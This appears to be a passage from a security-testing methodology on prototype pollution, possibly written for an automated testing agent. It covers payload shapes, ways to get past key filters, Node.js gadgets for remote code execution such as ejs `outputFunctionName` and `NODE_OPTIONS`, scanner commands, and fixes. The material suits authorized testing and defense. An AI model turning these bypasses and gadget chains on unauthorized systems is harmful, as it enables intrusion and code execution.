3. **Shape variants** — Test `__proto__`, `constructor.prototype`, nested bracket notation
|
|
||||||
4. **Channel matrix** — JSON body, query string, multipart, WebSocket for same endpoint
|
|
||||||
5. **Gadget hunting (Node.js)** — Map polluted keys to sinks in dependency tree (ejs, pug, handlebars, child_process wrappers)
|
|
||||||
6. **Client-side** — Check if polluted properties affect routing, auth UI, or DOM sinks
|
|
||||||
|
|
||||||
## Validation
|
|
||||||
|
|
||||||
1. Demonstrate a property on `Object.prototype` (or relevant prototype) affecting behavior on unrelated objects
|
|
||||||
2. Show security impact: auth bypass, XSS execution, or server-side command execution with minimal PoC
|
|
||||||
3. Prove pollution persists across requests (server) or page lifetime (client) as applicable
|
|
||||||
4. Document exact merge function and input path (parameter name, content-type)
|
|
||||||
5. Confirm fix: null-prototype objects, `Object.create(null)`, or key blocklists on `__proto__`/`constructor`/`prototype`
|
|
||||||
|
|
||||||
## False Positives
|
|
||||||
|
|
||||||
- Parser strips `__proto__` before merge — marker property never appears on prototype
|
|
||||||
- Framework uses `Object.create(null)` for options objects throughout
|
|
||||||
- Polluted key visible in JSON echo but never merged into object graph
|
|
||||||
- Client-side pollution blocked by frozen prototypes in modern hardened libraries (verify no behavioral change)
|
|
||||||
- WAF blocks payload but alternate encoding also blocked consistently
|
|
||||||
|
|
||||||
## Bypass Methods
|
|
||||||
|
|
||||||
- Switch from `__proto__` to `constructor[prototype]` when only one is filtered
|
|
||||||
- Use array notation: `__proto__[key]`, `[].__proto__.key`
|
|
||||||
- Content-type switching: JSON vs `application/x-www-form-urlencoded` vs multipart
|
|
||||||
- Split pollution across multiple parameters merged sequentially
|
|
||||||
- Second-order pollution: store payload, trigger merge in background job or export pipeline
|
|
||||||
|
|
||||||
## Impact
|
|
||||||
|
|
||||||
- Authentication/authorization bypass via polluted flag checks
|
|
||||||
- DOM XSS and session compromise in browsers
|
|
||||||
- Remote code execution on Node.js through known gadget chains
|
|
||||||
- Denial of service via polluting widely read prototype properties
|
|
||||||
|
|
||||||
## Pro Tips
|
|
||||||
|
|
||||||
1. Always verify pollution with a unique canary key (`strixPolluted_<random>`) before attempting RCE gadgets
|
|
||||||
2. In white-box scans, grep for `merge`, `extend`, `defaultsDeep`, `assign` with user input
|
|
||||||
3. Check both request parsing and response template config merges (second-order)
|
|
||||||
4. Node gadget chains are version-specific — confirm package version before claiming RCE
|
|
||||||
5. Combine with client-side template injection if polluted keys flow into rendering config
|
|
||||||
|
|
||||||
## Tooling
|
|
||||||
|
|
||||||
Detection is mostly about payload shapes (above) plus a couple of light helpers. The sandbox has `go` and `nuclei`; `ppfuzz` is a single static binary.
|
|
||||||
|
|
||||||
- **ppfuzz** (dwisiswant0) — fast client-side prototype-pollution fuzzer (Rust, single binary); good for spraying the URL/param shapes across many endpoints: `ppfuzz -l urls.txt`
|
|
||||||
- **nuclei** (preinstalled) — has prototype-pollution templates for quick triage: `nuclei -u https://target -tags prototype-pollution`
|
|
||||||
- **BlackFan `client-side-prototype-pollution`** — not a tool but the canonical **gadget reference**: maps polluted keys to concrete DOM-XSS sinks per library (jQuery, Popper, Wistia, etc.). Use it to turn a confirmed pollution into real impact.
|
|
||||||
|
|
||||||
For server-side gadget hunting there is no reliable one-click tool — enumerate `node_modules` in white-box scope and match polluted keys to sinks (`ejs`/`pug` `outputFunctionName`, `child_process` `shell`/`NODE_OPTIONS`) as covered above.
|
|
||||||
|
|
||||||
## Summary
|
|
||||||
|
|
||||||
Any unsafe recursive merge of user-controlled keys is a prototype pollution candidate. Block `__proto__`, `constructor`, and `prototype` keys, use null-prototype objects, and validate impact with behavioral proof — not just reflected keys.
|
|
||||||
Reference in New Issue
Block a user